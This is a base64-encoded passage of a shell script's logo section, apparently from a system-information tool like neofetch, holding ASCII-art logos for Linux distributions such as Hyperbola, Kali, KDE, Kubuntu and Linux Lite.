vOjpoOi5kLWAuLzpgLmAKICAgICAgICAgICAgICA6aE5oeU1vbXk6b3MtLi4uLS4gIGBgYGAKICAgICAgICAgICAgICAgLmRoc3NoTm1OaG9vKzotYGAuYGBgCiAgICAgICAgICAgICAgICAke2MxfWBvaHk6LSR7YzJ9Tk1kcys6Oi0uYGAKICAgICAgICAgICAgYGBgYCR7YzF9LmhOTitgJHtjMn1tTU5oby86LS4uLi5gYGBgCiAgICAgICBgYGBgYCAgICAgYC4uL2RtTmhvbysvOi4uYGAKICAgIGBgYGAgICAgICAgICAgICAuZGgrK28vOi4uLi5gCi4rcy9gICAgICAgICAgICAgICAgIGAvcy0uLS46LmBgIGBgYGAKOjpgICAgICAgICAgICAgICAgICAgICBgOjpgLi5gCiAgICAgICAgICAgICAgICAgICAgICAgICAgLmAgYC4uCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYGAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkh5ZHJvT1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDIgMyA0IDUKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9CiAgXyAgICBfICAgICAgICAgICBfICAgICAgICAgICAgX19fXyAgIF9fX19fCiB8IHwgIHwgfCAgICAgICAgIHwgfCAgICAgICAgICAvIF9fIFwgLyBfX19ffAogfCB8X198IHxfICAgXyAgX198IHxfIF9fIF9fXyB8IHwgIHwgfCAoX19fCiB8ICBfXyAgfCB8IHwgfC8gX2AgfCAnX18vIF8gXHwgfCAgfCB8XF9fXyBcCiB8IHwgIHwgfCB8X3wgfCAoX3wgfCB8IHwgKF8pIHwgfF9ffCB8X19fXykgfAogfF98ICB8X3xcX18sIHxcX18sX3xffCAgXF9fXy8gXF9fX18vfF9fX19fLwogICAgICAgICAgX18vIHwKICAgICAgICAgfF9fXy8KRU9GCiAgICAgICAgOzsKCiAgICAgICAgImh5cGVyYm9sYV9zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDgKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgIHxgX18uYC8KICAgIFxfX19fLwogICAgLi0tLgogICAvICAgIFxcCiAgLyAgX19fIFxcCiAvIC5gICAgYC5cXAovLmAgICAgICBgLlxcCkVPRgogICAgICAgIDs7CgogICAgICAgICJIeXBlcmJvbGEiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA4CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgIFdXCiAgICAgICAgICAgICAgICAgICAgIEtYICAgICAgICAgICAgICBXCiAgICAgICAgICAgICAgICAgICAgV08wVyAgICAgICAgICBOWDBPCiAgICAgICAgICAgICAgICAgICAgTk9PME5XICBXTlhLME9PS1cKICAgICAgICAgICAgICAgICAgICBXME9PT09PT09PT09PT0tOCiAgICAgICAgICAgICAgICAgICAgIE4wT09PT09PTzBLWFcKICAgICAgICAgICAgICAgICAgICAgICBXTlhYWE5XCiAgICAgICAgICAgICAgICAgTlhLMDAwMDBLTgogICAgICAgICAgICAgV05LME9PT09PT09PT08wVwogICAgICAgICAgIE5LME9PT09PT09PT09PT09PMFcKICAgICAgICAgWDBPT09PT09PMDBLSzAwT09PT09LCiAgICAgICBYME9PT08wS05XVyAgICAgIFdYME9PMFcKICAgICBYME9PMFhOVyAgICAgICAgICAgICAgS09PVwogICBOMDBLTlcgICAgICAgICAgICAgICAgICAgS09XCiBOS1hOICAgICAgICAgICAgICAgICAgICAgICBXMFcKV1cgICAgICAgICAgICAgICAgICAgICAgICAgICBXCkVPRgogICAgICAgIDs7CgogICAgICAgICJpZ2x1bml4Iip8ImlnbHUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA4CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgfAogICAgIHwgICAgICAgIHwKICAgICAgICAgICAgICB8CnwgICAgX19fX19fX18KfCAgL1wgICB8ICAgIFwKICAvICBcICB8ICAgICBcICB8CiAvICAgIFwgICAgICAgIFwgfAovICAgICAgXF9fX19fX19fXApcICAgICAgLyAgICAgICAgLwogXCAgICAvICAgICAgICAvCiAgXCAgLyAgICAgICAgLwogICBcL19fX19fX19fLwpFT0YKICAgICAgICA7OwoKICAgICAgICAiamFudXNsaW51eCIqfCJqYW51cyIqfCJBdGFyYXhpYSBMaW51eCIqfCJBdGFyYXhpYSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNSA2IDIKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgJ2w6CiAgICAgICAgbG9vb29vbwogICAgICAgICAgbG9vb28gY29vb29vbAogbG9vb29vb29vb29vb29vb29vb29vbAogIGxvb29vb29vb29vb29vb29vbwogICAgICAgICBsb29sICAgY29vbwogICAgICAgIGNvb29vb29vbG9vb29vb29vCiAgICAgY2xvb29vbyAgO2xvb2QgIGNsb29vbwogIDpsb29vb2Nvb28gY2xvbyAgICAgIGxvb29vCiBsb29vbyAgOm9vb29vb2wgICAgICAgbG9vb28KbG9vbyAgICBjb29vb28gICAgICAgIGNvb29vbwpsb29vb29vb29vb29vbyAgICAgIDtsb29vb29vICR7YzJ9bG9vb29vb2MKJHtjMX1sb29vb29vb29vIGxvbyAgIGNsb29vb29vb2wgICAgJHtjMn1sb29vb2MKJHtjMX0gY29vbyAgICAgICBjb29vb29vb29vb28gICAgICAgJHtjMn1sb29vbG9vb29vb2wKJHtjMX0gICAgICAgICAgICBjb29vOiAgICAgJHtjMn1jb29vb29vb29vb29vb29vb29vb2wKICAgICAgICAgICAgICAgICAgICAgICBsb29vb29vb29vb29vbGM6ICAgbG9vb2M7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29vbzogICAgbG9vb29vb29vb29vYwogICAgICAgICAgICAgICAgICAgICAgICAgICAgO29vb2wgICAgICAgICBsb29vb29vbzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgY29vb2wgICAgICAgICAgb2xjLAogICAgICAgICAgICAgICAgICAgICAgICAgIGxvb29vYyAgICwsCiAgICAgICAgICAgICAgICAgICAgICAgIGNvb29vb2MgICAgbG9jCiAgICAgICAgICAgICAgICAgICAgICAgOm9vb29vbCwgICAgY29vb2w6LCBsb29vb2w6LAogICAgICAgICAgICAgICAgICAgICAgIGxvb29vbDogICAgICBvb29vb29vb29vb29vb286CiAgICAgICAgICAgICAgICAgICAgICAgY29vb2xjICAgICAgICAub29vb29vb29vb29vbApFT0YKICAgICAgICA7OwoKICAgICAgICAiS2Fpc2VuIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAgICAgICBgCiAgICAgICAgICAgICAgICAgIGA6K295eWhvLgogICAgICAgICAgICAgYCs6YHNkZGRkZGQvCiAgICAgICAgYCtgIDpobyBveW8rK29oZHMtYAogICAgICAgLmhvIDpkZC4gIC46IGBzZGRkZGRkaGh5c28rLy0KICAgICAgIG9keS5kZGQtOnlkLSAraHlzc3N5aGRkZGRkZGRkaG9gCiAgICAgICB5ZGRkZGRkaGRkZGAgYCBgLS1gICAgLStoZGRkZGRkaC4KICAgICAgIGhkZHktK2RkZGRkeStvaGgvLi4rc2RkZGR5Lzo6Oit5cwogICAgICA6ZGRkL3NkZGRkZGRkZGRkLSBvZGRkZGRkZCAgICAgICBgCiAgICAgYHlkZGRkZGRkZGRkZGRkZGQvIC9kZGRkZGRkLwo6LiAgOnlkZGRkZGRkZGRkZGRkZGRkZG8uLnNkZGRkZGR5L2AKb2RoZGRkZGRkZG8tIGBkZGRkaCstYGAuLi4uLStoZGRkZGRkcy4KLWRkZGRkZGhkOiAgIC9kZGRvICAteWRkZGRkZGRoZGRkZGRkZGQtCiAvaGR5Om8gLSBgOnNkZGRzICAgLmAuL2hkZGRkZGRkZGRkZGRkbwogIGAvLSAgYCtoZGR5b3N5KyAgICAgICA6ZGRkZGRkZHktLi1vZC8KICAgICAgOnN5ZGRzICAgICAgICAgICAtaGRkZGRkZGRgICAgIC8KICAgICAgIC4rc2hkLSAgICAgIGA6b2hkZGRkZGRkZGRgCiAgICAgICAgICAgICAgICBgOitvb29vb29vb29vb29vOgpFT0YKICAgICAgICA7OwoKICAgICAgICAiS2FsaSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgOAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0uLi4uLi4uLi4uLi4uLgogICAgICAgICAgICAuLiw7OmNjYywuCiAgICAgICAgICAuLi4uLi4nJyc7bHhPLgouLi4uLicnJycuLi4uLi4uLi4uLDpsZDsKICAgICAgICAgICAuJzs7Ozo6OjssLC54LAogICAgICAuLicnJy4gICAgICAgICAgICAwWHhvYzosLiAgLi4uCiAgLi4uLiAgICAgICAgICAgICAgICAsT05rYzssO2Nva09kYycsLgogLiAgICAgICAgICAgICAgICAgICBPTW8gICAgICAgICAgICc6JHtjMn1kZCR7YzF9by4KICAgICAgICAgICAgICAgICAgICBkTWMgICAgICAgICAgICAgICA6T087CiAgICAgICAgICAgICAgICAgICAgME0uICAgICAgICAgICAgICAgICAuOm8uCiAgICAgICAgICAgICAgICAgICAgO1dkCiAgICAgICAgICAgICAgICAgICAgIDtYTywKICAgICAgICAgICAgICAgICAgICAgICAsZDBPZGxjOywuLgogICAgICAgICAgICAgICAgICAgICAgICAgICAuLicsOzpjZE9PZDo6LC4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLjpkOy4nOjsuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdkLCAgLicKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA7bCAgIC4uCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5vCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkthT1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAgICAuLgogIC4uLi4uICAgICAgICAgLi5PU1NBQUFBQUFBLi4KIC5LS0tLU1MuICAgICAuU1NBQUFBQUFBQUFBQS4KLktLS0tLU08uICAgIC5TQUFBQUFBQUFBQS4uLgpLS0tLS0tTLiAgIC5PQUFBQUFBQUEuCktLS0tLS1MuICAuT0FBQUFBQS4KS0tLS0tLUy4gLlNTQUEuLgouS0tLS0tTLi5PQUFBQUFBQUFBQUFBLi4uLi4uLi4KIERLS0tLTy49QUE9PT09PT09PT1BPT09QUFTU1NPLi4KICBBS0tLUy49PT09PT09PT09QUFTU1NTQUFBQUFBU1MuCiAgLj1LS08uLj09PT09PT09QVNTLi4uLi5TU1NTQVNTU1MuCiAgICAuS0suICAgICAgIC5BU1MuLk8uLiA9U1NTU0FPU1M6CiAgICAgLk9LLiAgICAgIC5BU1NTU1NTU08uLi49QS5TU0EuCiAgICAgICAuSyAgICAgIC4uU1NTQVNTU1MuLiAuLlNTQS4KICAgICAgICAgICAgICAgICAuU1NTLkFBS0FLU1NLQS4KICAgICAgICAgICAgICAgICAgICAuU1NTLi4uLlMuLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiS0RFIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICBgLi4tLS0rLy0tLS4uYAogICAgICAgICBgLS0tLmBgICAgYGAgICBgLi0tLS5gCiAgICAgIC4tLS5gICAgICAgICBgYCAgICAgICAgYC06LS4KICAgIGA6LzogICAgIGAuLS0tLS8vLS0tLS5gICAgICA6Ly0KICAgLjouICAgIGAtLS1gICAgICAgICAgIGAtLS5gICAgIC46YAogIC46YCAgIGAtLWAgICAgICAgICAgICAgICAgLjotICAgIGA6LgogYC8gICAgYDouICAgICAgYC4tOjotLmAgICAgICAtOmAgICBgL2AKIC8uICAgIC8uICAgICBgOisrKysrKysrOmAgICAgIC46ICAgIC46CmAvICAgIC46ICAgICBgKysrKysrKysrKysvICAgICAgL2AgICBgK2AKLytgICAgLS0gICAgIC4rKysrKysrKysrKytgICAgICA6LiAgIC4rOgpgLyAgICAuOiAgICAgYCsrKysrKysrKysrLyAgICAgIC9gICAgYCtgCiAvYCAgICAvLiAgICAgYDorKysrKysrKzpgICAgICAuOiAgICAuOgogLi8gICAgYDouICAgICAgYC46OjotLmAgICAgICAtOmAgICBgL2AKICAuOmAgICBgLS1gICAgICAgICAgICAgICAgIC46LSAgICBgOi4KICAgLjouICAgIGAtLS1gICAgICAgICAgIGAtLS5gICAgIC46YAogICAgYDovOiAgICAgYC4tLS0tLy8tLS0tLmAgICAgIDovLQogICAgICAuLTouYCAgICAgICAgYGAgICAgICAgIGAtOi0uCiAgICAgICAgIGAtLS0uYGAgICBgYCAgIGAuLS0tLmAKICAgICAgICAgICAgIGAuLi0tLSsvLS0tLi5gCkVPRgogICAgICAgIDs7CgogICAgICAgICJLaWJvam9lIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3IDQKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiAgICAgICAgICAgICR7YzN9ICAgICAgICAgICAuLytvb29vb28rLy4KICAgICAgICAgICAtLytvb29vbysvOi5gCiAgICAgICAgICAke2MxfWAke2MzfXl5eW8ke2MyfSsrKy8rKyR7YzN9b3NzcyR7YzF9LgogICAgICAgICAke2MxfStOTU4ke2MzfXlzc3Nzc3Nzc3Nzc3Mke2MxfS4KICAgICAgICR7YzF9LmRNTU1NTiR7YzN9c3Nzc3Nzc3Nzc3N5JHtjMX1Oc2AKICAgICAgK01NTU1NTU1tJHtjM31zc3Nzc3Nzc3Nzc2gke2MxfU1Ob2AKICAgIGBoTU1NTU1OTk5NZCR7YzN9c3Nzc3Nzc3Nzc3NkJHtjMX1NTU4vCiAgIC4ke2MzfXN5eXlzc3Nzc3N5JHtjMX1OTm1tbW1kJHtjM31zc3NzcyR7YzF9aE1NTU1kOgogIC1OTW1oJHtjM315c3Nzc3Nzc3N5aGhoaHlzc3loJHtjMX1tTU1NTU1NTXlgCiAtTk1NTU1NTk4ke2MzfW1kaHl5eXl5eXloZG0ke2MxfU5NTU1NTU1NTU1NTU4rCmBOTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1kLgpvZHMrLzotLS0tLTovLytveXlkbU5NTU1NTU1NTU1NTU1NTU1NTU4tCmAgICAgICAgICAgICAgICAgICAgICAuLTorb3N5aGhkbW1OTk5tZG8KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIktvZ2Fpb24iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICA7OyAgICAgICw7CiAgICAgICAgICAgOzs7ICAgICAsOzsKICAgICAgICAgLDs7OzsgICAgIDs7OzsKICAgICAgLDs7Ozs7Ozs7ICAgIDs7OzsKICAgICA7Ozs7Ozs7Ozs7OyAgIDs7Ozs7CiAgICAsOzs7Ozs7Ozs7Ozs7ICAnOzs7OzssCiAgICA7Ozs7Ozs7Ozs7Ozs7OywgJzs7Ozs7OzsKICAgIDs7Ozs7Ozs7Ozs7Ozs7Ozs7LCAnOzs7OzsKOyAgICAnOzs7Ozs7Ozs7Ozs7Ozs7Ozs7LCA7OzsKOzs7LCAgJzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzssOzsKOzs7OzssICAnOzs7Ozs7Ozs7Ozs7Ozs7Ozs7LAo7Ozs7Ozs7OywgICc7Ozs7Ozs7Ozs7Ozs7Ozs7LAo7Ozs7Ozs7Ozs7OzssICc7Ozs7Ozs7Ozs7Ozs7OwonOzs7Ozs7Ozs7Ozs7OyAnOzs7Ozs7Ozs7Ozs7OwogJzs7Ozs7Ozs7Ozs7OzssICc7Ozs7Ozs7Ozs7OwogICc7Ozs7Ozs7Ozs7Ozs7ICA7Ozs7Ozs7Ozs7CiAgICAnOzs7Ozs7Ozs7Ozs7IDs7Ozs7Ozs7CiAgICAgICAgJzs7Ozs7Ozs7IDs7Ozs7OwogICAgICAgICAgICc7Ozs7OyA7Ozs7CiAgICAgICAgICAgICAnOzs7IDs7CkVPRgogICAgICAgIDs7CgogICAgICAgICJLb3JvcmEiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgICAgX19fX19fX19fX19fCiAgICAgICAgICAgICBfYWRkNTU1NTU1NTU1NTQke2MxfToKICAgICAgICAgICBfdz8nJHtjMX1gYGBgYGBgYGBgJyR7YzJ9KWske2MxfToKICAgICAgICAgIF9aJyR7YzF9YCR7YzJ9ICAgICAgICAgICAgXWske2MxfToKICAgICAgICAgIG0oJHtjMX1gJHtjMn0gICAgICAgICAgICAgKWske2MxfToKICAgICBfLnNzJHtjMX1gJHtjMn1tWyR7YzF9YCR7YzJ9LCAgICAgICAgICAgIF1lJHtjMX06CiAgIC51WSJeYCR7YzF9YCR7YzJ9WGMke2MxfWAke2MyfT9Tcy4gICAgICAgICBkKCR7YzF9YAogIGpGJyR7YzF9YCR7YzJ9ICAgIGBALiAgJHtjMX1gJHtjMn1TYyAgICAgIC5qciR7YzF9YAoganIke2MxfWAke2MyfSAgICAgICBgP25fICR7YzF9YCR7YzJ9JDsgICBfYTIiJHtjMX1gCi5tJHtjMX06JHtjMn0gICAgICAgICAgYH5NJHtjMX1gJHtjMn0xayR7YzF9YCR7YzJ9NT8hYCR7YzF9YAo6IyR7YzF9OiR7YzJ9ICAgICAgICAgICAgICR7YzF9YCR7YzJ9KWUke2MxfWBgYAo6bSR7YzF9OiR7YzJ9ICAgICAgICAgICAgICwjJyR7YzF9YAo6IyR7YzF9OiR7YzJ9ICAgICAgICAgICAuczInJHtjMX1gCjptLF9fX19fX19fLmFhN14ke2MxfWAKOiNiYWFhYWFhYXMhSicke2MxfWAKIGBgYGBgYGBgYGBgCkVPRgogICAgICAgIDs7CgogICAgICAgICJLU0xpbnV4IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9IEsgICBLIFUgICBVIFJSUlIgICBvb28KIEsgIEsgIFUgICBVIFIgICBSIG8gICBvCiBLS0sgICBVICAgVSBSUlJSICBvICAgbwogSyAgSyAgVSAgIFUgUiAgUiAgbyAgIG8KIEsgICBLICBVVVUgIFIgICBSICBvb28KCiR7YzJ9ICBTU1MgICBBQUEgIFcgICBXICBBQUEKIFMgICAgIEEgICBBIFcgICBXIEEgICBBCiAgU1NTICBBQUFBQSBXIFcgVyBBQUFBQQogICAgIFMgQSAgIEEgV1cgV1cgQSAgIEEKICBTU1MgIEEgICBBIFcgICBXIEEgICBBCkVPRgogICAgICAgIDs7CgogICAgICAgICJLdWJ1bnR1IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICBgLjovb3NzeXl5eXNzby86LgogICAgICAgIC46b3l5eXl5eXl5eXl5eXl5eXl5eW86YAogICAgICAtb3l5eXl5eXlvJHtjMn1kTU15JHtjMX15eXl5eXl5c3l5eXlvLQogICAgLXN5eXl5eXl5eXl5JHtjMn1kTU15JHtjMX1veXl5eSR7YzJ9ZG1NTXkke2MxfXl5eXlzLQogICBveXl5cyR7YzJ9ZE15JHtjMX1zeXl5eSR7YzJ9ZE1NTU1NTU1NTU1NTU15JHtjMX15eXl5eXlvCiBgb3l5eXkke2MyfWRNTU1NeSR7YzF9c3l5c29vb29vbyR7YzJ9ZE1NTU15JHtjMX15eXl5eXl5eW9gCiBveXl5eXl5JHtjMn1kTU1NTXkke2MxfXl5eXl5eXl5eXl5cyR7YzJ9ZE1NeSR7YzF9c3Nzc3N5eXlvCi15eXl5eXl5eSR7YzJ9ZE15JHtjMX1zeXl5eXl5eXl5eXl5eXlzJHtjMn1kTU1NTU15JHtjMX1zeXl5LQpveXl5eXNvbyR7YzJ9ZE15JHtjMX15eXl5eXl5eXl5eXl5eXl5eXkke2MyfWRNTU1NeSR7YzF9c3l5eW8KeXl5cyR7YzJ9ZE1NTU1NeSR7YzF9eXl5eXl5eXl5eXl5eXl5eXl5c29zeXl5eXl5eXkKeXl5cyR7YzJ9ZE1NTU1NeSR7YzF9eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkKb3l5eXl5c29zJHtjMn1keSR7YzF9eXl5eXl5eXl5eXl5eXl5eXl5JHtjMn1kTU1NTXkke2MxfXN5eXlvCi15eXl5eXl5eSR7YzJ9ZE15JHtjMX1zeXl5eXl5eXl5eXl5eXlzJHtjMn1kTU1NTU15JHtjMX1zeXl5LQogb3l5eXl5eSR7YzJ9ZE1NTXkke2MxfXN5eXl5eXl5eXl5eXMke2MyfWRNTXkke2MxfW95eXlveXl5bwogYG95eXl5JHtjMn1kTU1NeSR7YzF9c3l5eW9vb29vbyR7YzJ9ZE1NTU15JHtjMX1veXl5eXl5eXlvCiAgIG95eXlzeXlveXl5eXMke2MyfWRNTU1NTU1NTU1NTXkke2MxfXl5eXl5eXlvCiAgICAtc3l5eXl5eXl5eSR7YzJ9ZE1NTXkke2MxfXN5eXkke2MyfWRNTU15JHtjMX1zeXl5eXMtCiAgICAgIC1veXl5eXl5eSR7YzJ9ZE1NeSR7YzF9eXl5eXl5c29zeXl5eW8tCiAgICAgICAgLi9veXl5eXl5eXl5eXl5eXl5eXl5by8uCiAgICAgICAgICAgYC46L29vc3l5eXlzc28vOi5gCkVPRgogICAgICAgIDs7CgogICAgICAgICJMRURFIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiAgICAke2MxfSBfX19fX19fX18KICAgIC8gICAgICAgIC9cCiAgIC8gIExFICAgIC8gIFwKICAvICAgIERFICAvICAgIFwKIC9fX19fX19fXy8gIExFICBcCiBcICAgICAgICBcICAgREUgLwogIFwgICAgTEUgIFwgICAgLwogICBcICBERSAgICBcICAvCiAgICBcX19fX19fX19cLwpFT0YKICAgICAgICA7OwoKICAgICAgICAiTGF4ZXJPUyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDcgNAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0KICAgICAgICAgICAgICAgICAgICAvLgogICAgICAgICAgICAgICAgIGA6Ly86LQogICAgICAgICAgICAgICAgYC8vLy8vLzoKICAgICAgICAgICAgICAgLi8vLy8vLy8vOmAKICAgICAgICAgICAgICAtLy8vLy8vLy8vLzpgCiAgICAgICAgICAgICAtLy8vLy8vLy8vLy8vL2AKICAgICAgICAgICAgOi8vLy8vLy8vLy8vLy8vLy4KICAgICAgICAgIGA6Ly8vLy8vLmBgYC0vLy8vLy8tCiAgICAgICAgIGA6Ly8vLy86YCAgICAgLi8vLy8vLy0KICAgICAgICBgLy8vLy8vOiAgICAgICAgYC8vLy8vLzoKICAgICAgIC4vLy8vLy8tICAgICAgICAgIGA6Ly8vLy86YAogICAgICAtLy8vLy8vLSAgICAgICAgICAgIGA6Ly8vLy86YAogICAgIC0vLy8vLy8uICAgICAgICAgICAgICAgOi8vLy8vL2AKICAgIDovLy8vLy9gICAgICAgICAgICAgICAgICAtLy8vLy8vLgogICBgLy8vLy86YCAgICAgICAgICAgICAgICAgICAuLy8vLy86CiAgICAuLTo6LWAgICAgICAgICAgICAgICAgICAgICAuOjo6LWAKCi46Oi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy86Oi4KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwouOi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLzouCgpFT0YKICAgICAgICA7OwoKICAgICAgICAiTGlicmVFTEVDIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiAzIDcgMTQgMTMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgIDorb29vLy4gICAgICAke2MyfS4vb29vKzoKJHtjMX0gICAgICAgIDorb29vb29vby8uICAke2MyfS4vb29vb29vbys6CiR7YzF9ICAgICAgOitvb29vb29vb29vbzoke2MyfTpvb29vb29vb29vbys6CiR7YzF9ICAgIDorb29vb29vb29vb28rLSAgJHtjMn0tK29vb29vb29vb29vKzoKJHtjMX0gIDorb29vb29vb29vb28rLSAgJHtjM30tLSAgJHtjMn0tK29vb29vb29vb29vKzoKJHtjMX0uK29vb29vb29vb29vKy0gICR7YzN9Oitvbys6ICAke2MyfS0rb29vb29vb29vb28rLQoke2MxfS0rb29vb29vb29vKy0gICR7YzN9Oitvb29vb28rOiAgJHtjMn0tK29vb29vb29vb28tCiR7YzF9ICA6K29vb29vKy0gICR7YzN9Oitvb29vb29vb29vKzogICR7YzJ9LStvb29vb286CiR7YzF9ICAgIDorbystICAke2MzfTorb29vb29vb29vb29vb28rOiAgJHtjMn0tK29vOgoke2M0fSAgICAgLi8gICAke2MzfTpvb29vb29vb29vb29vb29vb286ICAgJHtjNX0vLgoke2M0fSAgIC4vb28rOiAgJHtjM30tK29vb29vb29vb29vb29vKy0gICR7YzV9Oitvby8uCiR7YzR9IC4vb29vb29vKzogICR7YzN9LStvb29vb29vb29vKy0gICR7YzV9Oitvb29vb28vLgoke2M0fS1vb29vb29vb29vKzogICR7YzN9LStvb29vb28rLSAgJHtjNX06K29vb29vb29vb28tCiR7YzR9Litvb29vb29vb29vbys6ICAke2MzfS0rb28rLSAgJHtjNX06K29vb29vb29vb29vKy4KJHtjNH0gIC0rb29vb29vb29vb28rOiAgJHtjM30uLiAgJHtjNX06K29vb29vb29vb29vKy0KJHtjNH0gICAgLStvb29vb29vb29vbys6ICAke2M1fTorb29vb29vb29vb28rLQoke2M0fSAgICAgIC0rb29vb29vb29vbys6JHtjNX06K29vb29vb29vb28rLQoke2M0fSAgICAgICAgLStvb29vb28rOiAgICAke2M1fTorb29vb29vKy0KJHtjNH0gICAgICAgICAgLStvbys6ICAgICAgICAke2M1fTorb28rLQoke2M0fSAgICAgICAgICAgIC4uICAgICAgICAgICAgJHtjNX0uLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiTGludXgiKQogICAgICAgICAgICBzZXRfY29sb3JzIGZnIDggMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICMjIyMjCiR7YzJ9ICAgICAgICMjIyMjIyMKJHtjMn0gICAgICAgIyMke2MxfU8ke2MyfSMke2MxfU8ke2MyfSMjCiR7YzJ9ICAgICAgICMke2MzfSMjIyMjJHtjMn0jCiR7YzJ9ICAgICAjIyR7YzF9IyMke2MzfSMjIyR7YzF9IyMke2MyfSMjCiR7YzJ9ICAgICMke2MxfSMjIyMjIyMjIyMke2MyfSMjCiR7YzJ9ICAgIyR7YzF9IyMjIyMjIyMjIyMjJHtjMn0jIwoke2MyfSAgICMke2MxfSMjIyMjIyMjIyMjIyR7YzJ9IyMjCiR7YzN9ICAjIyR7YzJ9IyR7YzF9IyMjIyMjIyMjIyMke2MyfSMjJHtjM30jCiR7YzN9IyMjIyMjJHtjMn0jJHtjMX0jIyMjIyMjJHtjMn0jJHtjM30jIyMjIyMKJHtjM30jIyMjIyMjJHtjMn0jJHtjMX0jIyMjIyR7YzJ9IyR7YzN9IyMjIyMjIwoke2MzfSAgIyMjIyMke2MyfSMjIyMjIyMke2MzfSMjIyMjCkVPRgogICAgICAgIDs7CgogICAgICAgICJsaW51eGxpdGVfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgL1xcCiAgLyAgXFwKIC8gJHtjMn0vICR7YzF9Lwo+ICR7YzJ9LyAke2MxfS8KXFwgJHtjMn1cXCAke2MxfVxcCiBcXF8ke2MyfVxcJHtjMX1fXFwKJHtjMn0gICAgXFwKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkxpbnV4IExpdGUiKiB8ICJMaW51eF9MaXRlIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMyA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAseFhjCiAgICAgI